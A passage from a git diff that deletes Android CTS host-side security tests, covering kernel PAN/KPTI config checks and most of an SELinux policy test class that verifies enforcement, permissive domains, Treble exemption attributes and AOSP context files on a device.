-            return;
-        }
-
-        if (CpuFeatures.isArm64(mDevice)) {
-            assertTrue("Linux kernel must have PAN emulation enabled: " +
-                    "CONFIG_ARM64_SW_TTBR0_PAN=y or CONFIG_ARM64_PAN=y",
-                    (configSet.contains("CONFIG_ARM64_SW_TTBR0_PAN=y") ||
-                    configSet.contains("CONFIG_ARM64_PAN=y")));
-        } else if (CpuFeatures.isArm32(mDevice)) {
-            assertTrue("Linux kernel must have PAN emulation enabled: CONFIG_CPU_SW_DOMAIN_PAN=y",
-                    configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y"));
-        }
-    }
-
-    /**
-     * Test that the kernel has KTPI enabled for architectures and kernel versions that support it.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigKTPI() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
-            return;
-        }
-
-        if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
-            assertTrue("Linux kernel must have KPTI enabled: CONFIG_UNMAP_KERNEL_AT_EL0=y",
-                    configSet.contains("CONFIG_UNMAP_KERNEL_AT_EL0=y"));
-        } else if (CpuFeatures.isX86(mDevice)) {
-            assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
-                    configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
-        }
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
deleted file mode 100644
index 0041563..0000000
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ /dev/null
@@ -1,1312 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.RestrictedBuildTest;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import com.android.compatibility.common.util.CddTest;
-
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileReader;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.Scanner;
-import java.util.Set;
-
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-
-/**
- * Host-side SELinux tests.
- *
- * These tests analyze the policy file in use on the subject device directly or
- * run as the shell user to evaluate aspects of the state of SELinux on the test
- * device which otherwise would not be available to a normal apk.
- */
-public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
-
-    private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceVendorManifest = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceSystemPolicy = new HashMap<>(1);
-
-    private File sepolicyAnalyze;
-    private File checkSeapp;
-    private File checkFc;
-    private File aospSeappFile;
-    private File aospFcFile;
-    private File aospPcFile;
-    private File aospSvcFile;
-    private File devicePolicyFile;
-    private File devicePlatSeappFile;
-    private File deviceNonplatSeappFile;
-    private File devicePlatFcFile;
-    private File deviceNonplatFcFile;
-    private File devicePcFile;
-    private File deviceSvcFile;
-    private File seappNeverAllowFile;
-    private File libsepolwrap;
-    private File libcpp;
-    private File sepolicyTests;
-
-    private IBuildInfo mBuild;
-
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    public static File copyResourceToTempFile(String resName) throws IOException {
-        InputStream is = SELinuxHostTest.class.getResourceAsStream(resName);
-        File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
-        FileOutputStream os = new FileOutputStream(tempFile);
-        byte[] buf = new byte[1024];
-        int len;
-
-        while ((len = is.read(buf)) != -1) {
-            os.write(buf, 0, len);
-        }
-        os.flush();
-        os.close();
-        tempFile.deleteOnExit();
-        return tempFile;
-    }
-
-    private static void appendTo(String dest, String src) throws IOException {
-        try (FileInputStream is = new FileInputStream(new File(src));
-             FileOutputStream os = new FileOutputStream(new File(dest))) {
-            byte[] buf = new byte[1024];
-            int len;
-
-            while ((len = is.read(buf)) != -1) {
-                os.write(buf, 0, len);
-            }
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
-        sepolicyAnalyze.setExecutable(true);
-
-        devicePolicyFile = getDevicePolicyFile(mDevice);
-        if (isSepolicySplit(mDevice)) {
-            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
-                    "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
-            if (mDevice.doesFileExist("/vendor/etc/selinux/nonplat_file_contexts")){
-                // Old nonplat_* naming can be present if a framework-only OTA was done.
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
-            } else {
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
-            }
-        } else {
-            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
-                    "/plat_file_contexts", "plat_file_contexts");
-            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                    "/vendor_file_contexts", "vendor_file_contexts");
-        }
-    }
-
-    /*
-     * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
-     * CTS supports running against multiple devices at the same time). HashMap is used instead
-     * of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
-     * corresponding File objects from being garbage-collected is not a big deal in CTS. If this
-     * becomes a big deal, this can be switched to WeakHashMap.
-     */
-    private static File getDeviceFile(ITestDevice device,
-            Map<ITestDevice, File> cache, String deviceFilePath,
-            String tmpFileName) throws Exception {
-        if (!device.doesFileExist(deviceFilePath)){
-            throw new Exception();
-        }
-        File file;
-        synchronized (cache) {
-            file = cache.get(device);
-        }
-        if (file != null) {
-            return file;
-        }
-        file = File.createTempFile(tmpFileName, ".tmp");
-        file.deleteOnExit();
-        device.pullFile(deviceFilePath, file);
-        synchronized (cache) {
-            cache.put(device, file);
-        }
-        return file;
-    }
-
-    private static File buildSystemPolicy(ITestDevice device, Map<ITestDevice, File> cache,
-            String tmpFileName) throws Exception {
-        File builtPolicyFile;
-        synchronized (cache) {
-            builtPolicyFile = cache.get(device);
-        }
-        if (builtPolicyFile != null) {
-            return builtPolicyFile;
-        }
-
-
-        builtPolicyFile = File.createTempFile(tmpFileName, ".tmp");
-        builtPolicyFile.deleteOnExit();
-
-        File secilc = copyResourceToTempFile("/secilc");
-        secilc.setExecutable(true);
-
-        File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
-        systemSepolicyCilFile.deleteOnExit();
-
-        assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
-
-        ProcessBuilder pb = new ProcessBuilder(
-            secilc.getAbsolutePath(),
-            "-m", "-M", "true", "-c", "30",
-            "-o", builtPolicyFile.getAbsolutePath(),
-            systemSepolicyCilFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue(errorString.toString(), errorString.length() == 0);
-
-        synchronized (cache) {
-            cache.put(device, builtPolicyFile);
-        }
-        return builtPolicyFile;
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the host-side file containing the SELinux policy of the device under test.
-     */
-    public static File getDevicePolicyFile(ITestDevice device) throws Exception {
-        return getDeviceFile(device, cachedDevicePolicyFiles, "/sys/fs/selinux/policy", "sepolicy");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the host-side file containing the system SELinux policy of the device under test.
-     */
-    public static File getDeviceSystemPolicyFile(ITestDevice device) throws Exception {
-        return buildSystemPolicy(device, cachedDeviceSystemPolicy, "system_sepolicy");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the major number of sepolicy version of device's vendor implementation.
-     * TODO(b/37999212): Use VINTF object API instead of parsing vendor manifest.
-     */
-    public static int getVendorSepolicyVersion(ITestDevice device) throws Exception {
-        String deviceManifestPath =
-                (device.doesFileExist("/vendor/etc/vintf/manifest.xml")) ?
-                "/vendor/etc/vintf/manifest.xml" :
-                "/vendor/manifest.xml";
-        File vendorManifestFile = getDeviceFile(device, cachedDeviceVendorManifest,
-                deviceManifestPath, "manifest.xml");
-
-        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-        DocumentBuilder db = dbf.newDocumentBuilder();
-        Document doc = db.parse(vendorManifestFile);
-        Element root = doc.getDocumentElement();
-        Element sepolicy = (Element) root.getElementsByTagName("sepolicy").item(0);
-        Element version = (Element) sepolicy.getElementsByTagName("version").item(0);
-        String sepolicyVersion = version.getTextContent().split("\\.")[0];
-        return Integer.parseInt(sepolicyVersion);
-    }
-
-    /**
-     * Tests that the kernel is enforcing selinux policy globally.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testGlobalEnforcing() throws Exception {
-        CollectingOutputReceiver out = new CollectingOutputReceiver();
-        mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
-        assertEquals("SELinux policy is not being enforced!", "1", out.getOutput());
-    }
-
-    /**
-     * Tests that all domains in the running policy file are in enforcing mode
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    @RestrictedBuildTest
-    public void testAllDomainsEnforcing() throws Exception {
-
-        /* run sepolicy-analyze permissive check on policy file */
-        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "permissive");
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The following SELinux domains were found to be in permissive mode:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Asserts that specified type is not associated with the specified
-     * attribute.
-     *
-     * @param attribute
-     *  The attribute name.
-     * @param type
-     *  The type name.
-     */
-    private void assertNotInAttribute(String attribute, String badtype) throws Exception {
-        Set<String> actualTypes = sepolicyAnalyzeGetTypesAssociatedWithAttribute(attribute);
-        if (actualTypes.contains(badtype)) {
-            fail("Attribute " + attribute + " includes " + badtype);
-        }
-    }
-
-    private static final byte[] readFully(InputStream in) throws IOException {
-        ByteArrayOutputStream result = new ByteArrayOutputStream();
-        byte[] buf = new byte[65536];
-        int chunkSize;
-        while ((chunkSize = in.read(buf)) != -1) {
-            result.write(buf, 0, chunkSize);
-        }
-        return result.toByteArray();
-    }
-
-    /**
-     * Runs sepolicy-analyze against the device's SELinux policy and returns the set of types
-     * associated with the provided attribute.
-     */
-    private Set<String> sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-            String attribute) throws Exception {
-        ProcessBuilder pb =
-                new ProcessBuilder(
-                        sepolicyAnalyze.getAbsolutePath(),
-                        devicePolicyFile.getAbsolutePath(),
-                        "attribute",
-                        attribute);
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        int errorCode = p.waitFor();
-        if (errorCode != 0) {
-            fail("sepolicy-analyze attribute " + attribute + " failed with error code " + errorCode
-                    + ": " + new String(readFully(p.getInputStream())));
-        }
-        try (BufferedReader in =
-                new BufferedReader(new InputStreamReader(p.getInputStream()))) {
-            Set<String> types = new HashSet<>();
-            String type;
-            while ((type = in.readLine()) != null) {
-                types.add(type.trim());
-            }
-            return types;
-        }
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device is required to be a full Treble device.
-     */
-    public static boolean isFullTrebleDevice(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return PropertyUtil.getFirstApiLevel(device) > 26 &&
-                PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true");
-    }
-
-    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
-        return isFullTrebleDevice(mDevice);
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device is required to enforce compatible property.
-     */
-    public static boolean isCompatiblePropertyEnforcedDevice(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return PropertyUtil.propertyEquals(
-                device, "ro.actionable_compatible_property.enabled", "true");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device has sepolicy split across different paritions.
-     * This is possible even for devices launched at api level higher than 26.
-     */
-    public static boolean isSepolicySplit(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return device.doesFileExist("/system/etc/selinux/plat_file_contexts");
-    }
-
-    /**
-     * Asserts that no vendor domains are exempted from the prohibition on Binder use.
-     *
-     * <p>NOTE: binder_in_vendor_violators attribute is only there to help bring up Treble devices.
-     * It offers a convenient way to temporarily bypass the prohibition on Binder use in vendor
-     * domains. This attribute must not be used on production Treble devices.
-     */
-    public void testNoExemptionsForBinderInVendorBan() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-            sepolicyAnalyzeGetTypesAssociatedWithAttribute("binder_in_vendor_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts vendor domains from ban on Binder: " + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no HAL server domains are exempted from the prohibition of socket use with the
-     * only exceptions for the automotive device type.
-     */
-    public void testNoExemptionsForSocketsUseWithinHalServer() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        if (getDevice().hasFeature("android.hardware.type.automotive")) {
-            return;
-        }
-
-        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                "hal_automotive_socket_exemption");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts domains from ban on socket usage from HAL servers: "
-                    + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no domains are exempted from the prohibition on initiating socket communications
-     * between core and vendor domains.
-     *
-     * <p>NOTE: socket_between_core_and_vendor_violators attribute is only there to help bring up
-     * Treble devices. It offers a convenient way to temporarily bypass the prohibition on
-     * initiating socket communications between core and vendor domains. This attribute must not be
-     * used on production Treble devices.
-     */
-    public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                        "socket_between_core_and_vendor_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts domains from ban on socket communications between core and"
-                    + " vendor: " + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no vendor domains are exempted from the prohibition on directly
-     * executing binaries from /system.
-     * */
-    public void testNoExemptionsForVendorExecutingCore() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                        "vendor_executes_system_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts vendor domains from ban on executing files in /system: "
-                    + sortedTypes);
-        }
-    }
-
-    /**
-     * Tests that mlstrustedsubject does not include untrusted_app
-     * and that mlstrustedobject does not include app_data_file.
-     * This helps prevent circumventing the per-user isolation of
-     * normal apps via levelFrom=user.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testMLSAttributes() throws Exception {
-        assertNotInAttribute("mlstrustedsubject", "untrusted_app");
-        assertNotInAttribute("mlstrustedobject", "app_data_file");
-    }
-
-    /**
-     * Tests that the seapp_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidSeappContexts() throws Exception {
-
-        /* obtain seapp_contexts file from running device */
-        devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
-        devicePlatSeappFile.deleteOnExit();
-        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
-        deviceNonplatSeappFile.deleteOnExit();
-        if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
-            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
-        }else {
-            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
-            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
-	}
-
-        /* retrieve the checkseapp executable from jar */
-        checkSeapp = copyResourceToTempFile("/checkseapp");
-        checkSeapp.setExecutable(true);
-
-        /* retrieve the AOSP seapp_neverallows file from jar */
-        seappNeverAllowFile = copyResourceToTempFile("/plat_seapp_neverallows");
-
-        /* run checkseapp on seapp_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkSeapp.getAbsolutePath(),
-                "-p", devicePolicyFile.getAbsolutePath(),
-                seappNeverAllowFile.getAbsolutePath(),
-                devicePlatSeappFile.getAbsolutePath(),
-                deviceNonplatSeappFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The seapp_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Asserts that the actual file contents starts with the expected file
-     * contents.
-     *
-     * @param expectedFile
-     *  The file with the expected contents.
-     * @param actualFile
-     *  The actual file being checked.
-     */
-    private void assertFileStartsWith(File expectedFile, File actualFile) throws Exception {
-        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
-        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
-        String expectedLine, actualLine;
-        while ((expectedLine = expectedReader.readLine()) != null) {
-            actualLine = actualReader.readLine();
-            assertEquals("Lines do not match:", expectedLine, actualLine);
-        }
-    }
-
-    /**
-     * Tests that the seapp_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospSeappContexts() throws Exception {
-
-        /* obtain seapp_contexts file from running device */
-        devicePlatSeappFile = File.createTempFile("seapp_contexts", ".tmp");
-        devicePlatSeappFile.deleteOnExit();
-        if (!mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
-            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
-        }
-        /* retrieve the AOSP seapp_contexts file from jar */
-        aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
-
-        assertFileStartsWith(aospSeappFile, devicePlatSeappFile);
-    }
-
-    /**
-     * Tests that the file_contexts.bin file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospFileContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* retrieve the AOSP file_contexts file from jar */
-        aospFcFile = copyResourceToTempFile("/plat_file_contexts");
-
-        /* run checkfc -c plat_file_contexts file_contexts.bin */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                "-c", aospFcFile.getAbsolutePath(),
-                devicePlatFcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line = result.readLine();
-        assertTrue("The file_contexts file did not include the AOSP entries:\n"
-                   + line + "\n",
-                   line.equals("equal") || line.equals("subset"));
-    }
-
-    /**
-     * Tests that the property_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospPropertyContexts() throws Exception {
-
-        /* obtain property_contexts file from running device */
-        devicePcFile = File.createTempFile("plat_property_contexts", ".tmp");
-        devicePcFile.deleteOnExit();
-        // plat_property_contexts may be either in /system/etc/sepolicy or in /
-        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
-            mDevice.pullFile("/plat_property_contexts", devicePcFile);
-        }
-
-        // Retrieve the AOSP property_contexts file from JAR.
-        // The location of this file in the JAR has nothing to do with the location of this file on
-        // Android devices. See build script of this CTS module.
-        aospPcFile = copyResourceToTempFile("/plat_property_contexts");
-
-        assertFileStartsWith(aospPcFile, devicePcFile);
-    }
-
-    /**
-     * Tests that the service_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospServiceContexts() throws Exception {
-
-        /* obtain service_contexts file from running device */
-        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
-        deviceSvcFile.deleteOnExit();
-        if (!mDevice.pullFile("/system/etc/selinux/plat_service_contexts", deviceSvcFile)) {
-            mDevice.pullFile("/plat_service_contexts", deviceSvcFile);
-        }
-
-        /* retrieve the AOSP service_contexts file from jar */
-        aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
-
-        assertFileStartsWith(aospSvcFile, deviceSvcFile);
-    }
-
-    /**
-     * Tests that the file_contexts file(s) on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidFileContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* combine plat and nonplat policies for testing */
-        File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
-        combinedFcFile.deleteOnExit();
-        appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
-        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
-
-        /* run checkfc sepolicy file_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(),
-                combinedFcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("file_contexts was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that the property_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidPropertyContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        File propertyInfoChecker = copyResourceToTempFile("/property_info_checker");
-        propertyInfoChecker.setExecutable(true);
-
-        /* obtain property_contexts file from running device */
-        devicePcFile = File.createTempFile("property_contexts", ".tmp");
-        devicePcFile.deleteOnExit();
-        // plat_property_contexts may be either in /system/etc/sepolicy or in /
-        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
-            mDevice.pullFile("/plat_property_contexts", devicePcFile);
-        }
-
-        /* run property_info_checker on property_contexts */
-        ProcessBuilder pb = new ProcessBuilder(propertyInfoChecker.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(),
-                devicePcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The property_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that the service_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidServiceContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* obtain service_contexts file from running device */
-        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
-        deviceSvcFile.deleteOnExit();
-        mDevice.pullFile("/service_contexts", deviceSvcFile);
-
-        /* run checkfc -s on service_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                "-s", devicePolicyFile.getAbsolutePath(),
-                deviceSvcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The service_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    public static boolean isMac() {
-        String os = System.getProperty("os.name").toLowerCase();
-        return (os.startsWith("mac") || os.startsWith("darwin"));
-    }
-
-    private void setupLibraries() throws Exception {
-        // The host side binary tests are host OS specific. Use Linux
-        // libraries on Linux and Mac libraries on Mac.
-        if (isMac()) {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
-            libcpp = copyResourceToTempFile("/libc++.dylib");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
-        } else {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
-            libcpp = copyResourceToTempFile("/libc++.so");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
-        }
-        libsepolwrap.deleteOnExit();
-        libcpp.deleteOnExit();
-    }
-
-    private void assertSepolicyTests(String test, String testExecutable) throws Exception {
-        setupLibraries();
-        sepolicyTests = copyResourceToTempFile(testExecutable);
-        sepolicyTests.setExecutable(true);
-        ProcessBuilder pb = new ProcessBuilder(
-                sepolicyTests.getAbsolutePath(),
-                "-l", libsepolwrap.getAbsolutePath(),
-                "-f", devicePlatFcFile.getAbsolutePath(),
-                "-f", deviceNonplatFcFile.getAbsolutePath(),
-                "-p", devicePolicyFile.getAbsolutePath(),
-                "--test", test);
-        Map<String, String> env = pb.environment();
-        if (isMac()) {
-            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        } else {
-            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        }
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue(errorString.toString(), errorString.length() == 0);
-    }
-
-    /**
